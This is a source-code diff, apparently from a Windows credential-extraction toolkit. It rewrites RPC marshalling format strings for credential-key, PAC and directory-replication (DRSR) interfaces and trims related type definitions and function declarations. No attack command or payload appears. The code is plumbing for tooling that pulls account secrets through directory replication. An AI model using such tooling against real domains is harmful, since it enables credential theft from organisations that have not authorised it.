-/* 254 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 256 */	
-			0x12, 0x0,	/* FC_UP */
-/* 258 */	NdrFcShort( 0xffdc ),	/* Offset= -36 (222) */
-/* 260 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 262 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 264 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 266 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 268 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 270 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 274 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 276 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 278 */	NdrFcShort( 0xffde ),	/* Offset= -34 (244) */
-/* 280 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 282 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 284 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 286 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 288 */	NdrFcShort( 0xc ),	/* 12 */
-/* 290 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 292 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 294 */	
-			0x16,		/* FC_PSTRUCT */
-			0x3,		/* 3 */
-/* 296 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 298 */	
-			0x4b,		/* FC_PP */
-			0x5c,		/* FC_PAD */
-/* 300 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 302 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 304 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 306 */	0x12, 0x0,	/* FC_UP */
-/* 308 */	NdrFcShort( 0xffd0 ),	/* Offset= -48 (260) */
-/* 310 */	
-			0x46,		/* FC_NO_REPEAT */
-			0x5c,		/* FC_PAD */
-/* 312 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 314 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 316 */	0x12, 0x0,	/* FC_UP */
-/* 318 */	NdrFcShort( 0xffdc ),	/* Offset= -36 (282) */
-/* 320 */	
-			0x5b,		/* FC_END */
-
-			0x8,		/* FC_LONG */
-/* 322 */	0x8,		/* FC_LONG */
-			0x6,		/* FC_SHORT */
-/* 324 */	0x3e,		/* FC_STRUCTPAD2 */
-			0x8,		/* FC_LONG */
-/* 326 */	0x8,		/* FC_LONG */
-			0x5b,		/* FC_END */
-/* 328 */	
-			0x12, 0x0,	/* FC_UP */
-/* 330 */	NdrFcShort( 0x1a ),	/* Offset= 26 (356) */
-/* 332 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 334 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 336 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 338 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 340 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 342 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 344 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/* 346 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 348 */	0x19,		/* Corr desc:  field pointer, FC_ULONG */
-			0x0,		/*  */
-/* 350 */	NdrFcShort( 0x14 ),	/* 20 */
-/* 352 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 354 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 356 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 358 */	NdrFcShort( 0x1c ),	/* 28 */
-/* 360 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 362 */	NdrFcShort( 0xc ),	/* Offset= 12 (374) */
-/* 364 */	0x8,		/* FC_LONG */
-			0x36,		/* FC_POINTER */
-/* 366 */	0xd,		/* FC_ENUM16 */
-			0x8,		/* FC_LONG */
-/* 368 */	0x6,		/* FC_SHORT */
-			0x3e,		/* FC_STRUCTPAD2 */
-/* 370 */	0x8,		/* FC_LONG */
-			0x36,		/* FC_POINTER */
-/* 372 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 374 */	
-			0x12, 0x0,	/* FC_UP */
-/* 376 */	NdrFcShort( 0xffd4 ),	/* Offset= -44 (332) */
-/* 378 */	
-			0x12, 0x0,	/* FC_UP */
-/* 380 */	NdrFcShort( 0xffdc ),	/* Offset= -36 (344) */
-
-			0x0
-        }
-    };
-#endif
-
-#if _MSC_VER >= 1200
-#pragma warning(pop)
+static const Claims_MIDL_TYPE_FORMAT_STRING Claims__MIDL_TypeFormatString = {0, {
+    0x00, 0x00, 0x12, 0x00, 0x22, 0x01, 0x2b, 0x0d, 0x06, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x02, 0x00, 0x08, 0x00, 0x04, 0x00, 0x01, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x02, 0x00, 0x00, 0x00, 0x42, 0x00,
+    0x03, 0x00, 0x00, 0x00, 0x78, 0x00, 0x06, 0x00, 0x00, 0x00, 0x8e, 0x00, 0x00, 0x00, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x1b, 0x07, 0x08, 0x00, 0x19, 0x00, 0x00, 0x00,
+    0x01, 0x00, 0x0b, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, 0xe0, 0xff, 0x36, 0x5b, 0x12, 0x00, 0xe4, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00,
+    0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, 0xec, 0xff, 0x36, 0x5b, 0x12, 0x00, 0xc8, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x1b, 0x03, 0x04, 0x00,
+    0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x5c, 0x5b, 0x1a, 0x03, 0x08, 0x00,
+    0x00, 0x00, 0x08, 0x00, 0x4c, 0x00, 0xcc, 0xff, 0x36, 0x5b, 0x12, 0x00, 0xd0, 0xff, 0xb7, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x08, 0x00,
+    0x4c, 0x00, 0xec, 0xff, 0x36, 0x5b, 0x12, 0x00, 0x70, 0xff, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x36, 0x0d, 0x4c, 0x00, 0x30, 0xff, 0x5c, 0x5b, 0x12, 0x08, 0x25, 0x5c, 0x21, 0x03,
+    0x00, 0x00, 0x19, 0x00, 0x04, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xda, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x0c, 0x00, 0x00, 0x00, 0x06, 0x00, 0x0d, 0x08, 0x36, 0x5b,
+    0x12, 0x00, 0xdc, 0xff, 0x21, 0x03, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xde, 0xff, 0x5c, 0x5b, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00,
+    0x0c, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x16, 0x03, 0x14, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x00, 0xd0, 0xff, 0x46, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x00, 0xdc, 0xff,
+    0x5b, 0x08, 0x08, 0x06, 0x3e, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x1a, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x14, 0x00,
+    0x01, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x1c, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x08, 0x36, 0x0d, 0x08, 0x06, 0x3e, 0x08, 0x36, 0x5c, 0x5b, 0x12, 0x00, 0xd4, 0xff, 0x12, 0x00, 0xdc, 0xff, 0x00,
+}};
 #endif
--- a/modules/rpc/kull_m_rpc_ms-credentialkeys.c
+++ b/modules/rpc/kull_m_rpc_ms-credentialkeys.c
@ -1,13 +1,5 @@
 #include "kull_m_rpc_ms-credentialkeys.h"

-#if _MSC_VER >= 1200
-#pragma warning(push)
-#endif
-
-#pragma warning(disable: 4211)  /* redefine extern to static */
-#pragma warning(disable: 4232)  /* dllimport identity*/
-#pragma warning(disable: 4024)  /* array to pointer mapping*/
-
 #ifdef _M_X64
 #define _ms_credentialkeys_MIDL_TYPE_FORMAT_STRING_SIZE	73
 #elif defined _M_IX86
@ -15,8 +7,8 @@
 #endif

 typedef struct _ms_credentialkeys_MIDL_TYPE_FORMAT_STRING {
-	short          Pad;
-	unsigned char  Format[_ms_credentialkeys_MIDL_TYPE_FORMAT_STRING_SIZE];
+	SHORT Pad;
+	UCHAR Format[_ms_credentialkeys_MIDL_TYPE_FORMAT_STRING_SIZE];
 } ms_credentialkeys_MIDL_TYPE_FORMAT_STRING;

 extern const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString;
@ -34,133 +26,16 @@ void CredentialKeys_Free(handle_t _MidlEsHandle, PKIWI_CREDENTIAL_KEYS * _pType)
 {
 	NdrMesTypeFree2(_MidlEsHandle, (PMIDL_TYPE_PICKLING_INFO) &__MIDL_TypePicklingInfo, &mscredentialkeys_StubDesc, (PFORMAT_STRING) &ms_credentialkeys__MIDL_TypeFormatString.Format[2], _pType);
 }
-
 #ifdef _M_X64
-static const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x12, 0x0,	/* FC_UP */
-/*  4 */	NdrFcShort( 0x38 ),	/* Offset= 56 (60) */
-/*  6 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/*  8 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 10 */	0x17,		/* Corr desc:  field pointer, FC_USHORT */
-			0x0,		/*  */
-/* 12 */	NdrFcShort( 0xa ),	/* 10 */
-/* 14 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 16 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 18 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 20 */	NdrFcShort( 0x18 ),	/* 24 */
-/* 22 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 24 */	NdrFcShort( 0xa ),	/* Offset= 10 (34) */
-/* 26 */	0xd,		/* FC_ENUM16 */
-			0xd,		/* FC_ENUM16 */
-/* 28 */	0x6,		/* FC_SHORT */
-			0x6,		/* FC_SHORT */
-/* 30 */	0x40,		/* FC_STRUCTPAD4 */
-			0x36,		/* FC_POINTER */
-/* 32 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 34 */	
-			0x12, 0x0,	/* FC_UP */
-/* 36 */	NdrFcShort( 0xffe2 ),	/* Offset= -30 (6) */
-/* 38 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 40 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 42 */	0x9,		/* Corr desc: FC_ULONG */
-			0x0,		/*  */
-/* 44 */	NdrFcShort( 0xfff8 ),	/* -8 */
-/* 46 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 48 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 52 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 54 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 56 */	NdrFcShort( 0xffda ),	/* Offset= -38 (18) */
-/* 58 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 60 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 62 */	NdrFcShort( 0x8 ),	/* 8 */
-/* 64 */	NdrFcShort( 0xffe6 ),	/* Offset= -26 (38) */
-/* 66 */	NdrFcShort( 0x0 ),	/* Offset= 0 (66) */
-/* 68 */	0x8,		/* FC_LONG */
-			0x40,		/* FC_STRUCTPAD4 */
-/* 70 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-
-			0x0
-        }
-    };
+static const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x12, 0x00, 0x38, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x17, 0x00, 0x0a, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x18, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x0d, 0x0d, 0x06, 0x06, 0x40, 0x36,
+	0x5c, 0x5b, 0x12, 0x00, 0xe2, 0xff, 0x21, 0x03, 0x00, 0x00, 0x09, 0x00, 0xf8, 0xff, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xda, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x08, 0x00,
+	0xe6, 0xff, 0x00, 0x00, 0x08, 0x40, 0x5c, 0x5b, 0x00,
+}};
 #elif defined _M_IX86
-static const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString = {
-        0,
-        {
-			NdrFcShort( 0x0 ),	/* 0 */
-/*  2 */	
-			0x12, 0x0,	/* FC_UP */
-/*  4 */	NdrFcShort( 0x36 ),	/* Offset= 54 (58) */
-/*  6 */	
-			0x1b,		/* FC_CARRAY */
-			0x0,		/* 0 */
-/*  8 */	NdrFcShort( 0x1 ),	/* 1 */
-/* 10 */	0x17,		/* Corr desc:  field pointer, FC_USHORT */
-			0x0,		/*  */
-/* 12 */	NdrFcShort( 0xa ),	/* 10 */
-/* 14 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 16 */	0x1,		/* FC_BYTE */
-			0x5b,		/* FC_END */
-/* 18 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 20 */	NdrFcShort( 0x10 ),	/* 16 */
-/* 22 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 24 */	NdrFcShort( 0x8 ),	/* Offset= 8 (32) */
-/* 26 */	0xd,		/* FC_ENUM16 */
-			0xd,		/* FC_ENUM16 */
-/* 28 */	0x6,		/* FC_SHORT */
-			0x6,		/* FC_SHORT */
-/* 30 */	0x36,		/* FC_POINTER */
-			0x5b,		/* FC_END */
-/* 32 */	
-			0x12, 0x0,	/* FC_UP */
-/* 34 */	NdrFcShort( 0xffe4 ),	/* Offset= -28 (6) */
-/* 36 */	
-			0x21,		/* FC_BOGUS_ARRAY */
-			0x3,		/* 3 */
-/* 38 */	NdrFcShort( 0x0 ),	/* 0 */
-/* 40 */	0x9,		/* Corr desc: FC_ULONG */
-			0x0,		/*  */
-/* 42 */	NdrFcShort( 0xfffc ),	/* -4 */
-/* 44 */	NdrFcShort( 0x1 ),	/* Corr flags:  early, */
-/* 46 */	NdrFcLong( 0xffffffff ),	/* -1 */
-/* 50 */	NdrFcShort( 0x0 ),	/* Corr flags:  */
-/* 52 */	0x4c,		/* FC_EMBEDDED_COMPLEX */
-			0x0,		/* 0 */
-/* 54 */	NdrFcShort( 0xffdc ),	/* Offset= -36 (18) */
-/* 56 */	0x5c,		/* FC_PAD */
-			0x5b,		/* FC_END */
-/* 58 */	
-			0x1a,		/* FC_BOGUS_STRUCT */
-			0x3,		/* 3 */
-/* 60 */	NdrFcShort( 0x4 ),	/* 4 */
-/* 62 */	NdrFcShort( 0xffe6 ),	/* Offset= -26 (36) */
-/* 64 */	NdrFcShort( 0x0 ),	/* Offset= 0 (64) */
-/* 66 */	0x8,		/* FC_LONG */
-			0x5b,		/* FC_END */
-
-			0x0
-        }
-    };
-#endif
-
-#if _MSC_VER >= 1200
-#pragma warning(pop)
+static const ms_credentialkeys_MIDL_TYPE_FORMAT_STRING ms_credentialkeys__MIDL_TypeFormatString = {0, {
+	0x00, 0x00, 0x12, 0x00, 0x36, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x17, 0x00, 0x0a, 0x00, 0x01, 0x00, 0x01, 0x5b, 0x1a, 0x03, 0x10, 0x00, 0x00, 0x00, 0x08, 0x00, 0x0d, 0x0d, 0x06, 0x06, 0x36, 0x5b,
+	0x12, 0x00, 0xe4, 0xff, 0x21, 0x03, 0x00, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0xff, 0xff, 0xff, 0xff, 0x00, 0x00, 0x4c, 0x00, 0xdc, 0xff, 0x5c, 0x5b, 0x1a, 0x03, 0x04, 0x00, 0xe6, 0xff,
+	0x00, 0x00, 0x08, 0x5b, 0x00,
+}};
 #endif
--- a/modules/rpc/kull_m_rpc_ms-drsr.h
+++ b/modules/rpc/kull_m_rpc_ms-drsr.h
@ -458,215 +458,16 @@ typedef union _DRS_MSG_DCINFOREPLY {
 	DRS_MSG_DCINFOREPLY_VFFFFFFFF VFFFFFFFF;
 } DRS_MSG_DCINFOREPLY;

-typedef /* [public][public][public][public][public] */ struct __MIDL_drsuapi_0031
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    ATTRTYP type;
-    BOOL valReturned;
-    ATTRVAL Val;
-    } 	INTFORMPROB_DRS_WIRE_V1;
-
-typedef struct _PROBLEMLIST_DRS_WIRE_V1
-    {
-    struct _PROBLEMLIST_DRS_WIRE_V1 *pNextProblem;
-    INTFORMPROB_DRS_WIRE_V1 intprob;
-    } 	PROBLEMLIST_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0032
-    {
-    DSNAME *pObject;
-    ULONG count;
-    PROBLEMLIST_DRS_WIRE_V1 FirstProblem;
-    } 	ATRERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0033
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    DSNAME *pMatched;
-    } 	NAMERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public] */ struct __MIDL_drsuapi_0034
-    {
-    UCHAR nameRes;
-    UCHAR unusedPad;
-    USHORT nextRDN;
-    } 	NAMERESOP_DRS_WIRE_V1;
-
-typedef struct _DSA_ADDRESS_LIST_DRS_WIRE_V1
-    {
-    struct _DSA_ADDRESS_LIST_DRS_WIRE_V1 *pNextAddress;
-    RPC_UNICODE_STRING *pAddress;
-    } 	DSA_ADDRESS_LIST_DRS_WIRE_V1;
-
-typedef struct CONTREF_DRS_WIRE_V1
-    {
-    DSNAME *pTarget;
-    NAMERESOP_DRS_WIRE_V1 OpState;
-    USHORT aliasRDN;
-    USHORT RDNsInternal;
-    USHORT refType;
-    USHORT count;
-    DSA_ADDRESS_LIST_DRS_WIRE_V1 *pDAL;
-    struct CONTREF_DRS_WIRE_V1 *pNextContRef;
-    BOOL bNewChoice;
-    UCHAR choice;
-    } 	CONTREF_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0035
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    CONTREF_DRS_WIRE_V1 Refer;
-    } 	REFERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0036
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    } 	SECERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0037
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    } 	SVCERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0038
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    } 	UPDERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][public] */ struct __MIDL_drsuapi_0039
-    {
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    } 	SYSERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public][public][switch_type] */ union __MIDL_drsuapi_0040
-    {
-    ATRERR_DRS_WIRE_V1 AtrErr;
-    NAMERR_DRS_WIRE_V1 NamErr;
-    REFERR_DRS_WIRE_V1 RefErr;
-    SECERR_DRS_WIRE_V1 SecErr;
-    SVCERR_DRS_WIRE_V1 SvcErr;
-    UPDERR_DRS_WIRE_V1 UpdErr;
-    SYSERR_DRS_WIRE_V1 SysErr;
-    } 	DIRERR_DRS_WIRE_V1;
-
-typedef /* [public][public][public][public] */ struct __MIDL_drsuapi_0099
-    {
-    unsigned long cbBuffer;
-    unsigned long BufferType;
-    BYTE *pvBuffer;
-    } 	DRS_SecBuffer;
-
-typedef /* [public][public][public][public][public][public][public] */ struct __MIDL_drsuapi_0100
-    {
-    unsigned long ulVersion;
-    unsigned long cBuffers;
-    DRS_SecBuffer *Buffers;
-    } 	DRS_SecBufferDesc;
-
-typedef /* [public][public][public] */ struct __MIDL_drsuapi_0134
-    {
-    DSNAME *pObject;
-    ATTRBLOCK AttrBlock;
-    } 	DRS_MSG_ADDENTRYREQ_V1;
-
-typedef /* [public][public][public] */ struct __MIDL_drsuapi_0135
-    {
-    ENTINFLIST EntInfList;
-    } 	DRS_MSG_ADDENTRYREQ_V2;
-
-typedef /* [public][public][public] */ struct __MIDL_drsuapi_0136
-    {
-    ENTINFLIST EntInfList;
-    DRS_SecBufferDesc *pClientCreds;
-    } 	DRS_MSG_ADDENTRYREQ_V3;
-
-typedef /* [public][public][switch_type] */ union __MIDL_drsuapi_0137
-    {
-    DRS_MSG_ADDENTRYREQ_V1 V1;
-    DRS_MSG_ADDENTRYREQ_V2 V2;
-    DRS_MSG_ADDENTRYREQ_V3 V3;
-    } 	DRS_MSG_ADDENTRYREQ;
-
-typedef /* [public][public][public] */ struct __MIDL_drsuapi_0138
-    {
-    GUID Guid;
-    NT4SID Sid;
-    DWORD errCode;
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    } 	DRS_MSG_ADDENTRYREPLY_V1;
-
-typedef /* [public][public][public][public][public][public][public] */ struct __MIDL_drsuapi_0139
-    {
-    GUID objGuid;
-    NT4SID objSid;
-    } 	ADDENTRY_REPLY_INFO;
-
-typedef /* [public][public][public] */ struct __MIDL_drsuapi_0140
-    {
-    DSNAME *pErrorObject;
-    DWORD errCode;
-    DWORD dsid;
-    DWORD extendedErr;
-    DWORD extendedData;
-    USHORT problem;
-    ULONG cObjectsAdded;
-    ADDENTRY_REPLY_INFO *infoList;
-    } 	DRS_MSG_ADDENTRYREPLY_V2;
-
-typedef /* [public][public][public][public][public] */ struct __MIDL_drsuapi_0141
-    {
-    DWORD dwRepError;
-    DWORD errCode;
-    DIRERR_DRS_WIRE_V1 *pErrInfo;
-    } 	DRS_ERROR_DATA_V1;
-
-typedef /* [public][public][public][public][switch_type] */ union __MIDL_drsuapi_0142
-    {
-    DRS_ERROR_DATA_V1 V1;
-    } 	DRS_ERROR_DATA;
-
-typedef /* [public][public][public] */ struct __MIDL_drsuapi_0143
-    {
-    DSNAME *pdsErrObject;
-    DWORD dwErrVer;
-    DRS_ERROR_DATA *pErrData;
-    ULONG cObjectsAdded;
-    ADDENTRY_REPLY_INFO *infoList;
-    } 	DRS_MSG_ADDENTRYREPLY_V3;
-
-typedef /* [public][public][switch_type] */ union __MIDL_drsuapi_0144
-    {
-    DRS_MSG_ADDENTRYREPLY_V1 V1;
-    DRS_MSG_ADDENTRYREPLY_V2 V2;
-    DRS_MSG_ADDENTRYREPLY_V3 V3;
-    } 	DRS_MSG_ADDENTRYREPLY;
-
 ULONG IDL_DRSBind(handle_t rpc_handle, UUID *puuidClientDsa, DRS_EXTENSIONS *pextClient, DRS_EXTENSIONS **ppextServer, DRS_HANDLE *phDrs);
 ULONG IDL_DRSUnbind(DRS_HANDLE *phDrs);
 ULONG IDL_DRSGetNCChanges(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_GETCHGREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_GETCHGREPLY *pmsgOut);
 ULONG IDL_DRSCrackNames(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_CRACKREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_CRACKREPLY *pmsgOut);
 ULONG IDL_DRSDomainControllerInfo(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_DCINFOREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_DCINFOREPLY *pmsgOut);
-ULONG IDL_DRSAddEntry(DRS_HANDLE hDrs, DWORD dwInVersion, DRS_MSG_ADDENTRYREQ *pmsgIn, DWORD *pdwOutVersion, DRS_MSG_ADDENTRYREPLY *pmsgOut);
+
+void DRS_MSG_GETCHGREPLY_V6_Free(handle_t _MidlEsHandle, DRS_MSG_GETCHGREPLY_V6 * _pType);
+void DRS_MSG_CRACKREPLY_V1_Free(handle_t _MidlEsHandle, DRS_MSG_CRACKREPLY_V1 * _pType);
+void DRS_MSG_DCINFOREPLY_V2_Free(handle_t _MidlEsHandle, DRS_MSG_DCINFOREPLY_V2 * _pType);
+
+#define kull_m_rpc_ms_drsr_FreeDRS_MSG_GETCHGREPLY_V6(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_GETCHGREPLY_V6_Free)
+#define kull_m_rpc_ms_drsr_FreeDRS_MSG_CRACKREPLY_V1(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_CRACKREPLY_V1_Free)
+#define kull_m_rpc_ms_drsr_FreeDRS_MSG_DCINFOREPLY_V2(pObject) kull_m_rpc_Generic_Free(pObject, (PGENERIC_RPC_FREE) DRS_MSG_DCINFOREPLY_V2_Free)
--- a/modules/rpc/kull_m_rpc_ms-drsr_c.c
+++ b/modules/rpc/kull_m_rpc_ms-drsr_c.c
--- a/modules/rpc/kull_m_rpc_ms-pac.c
+++ b/modules/rpc/kull_m_rpc_ms-pac.c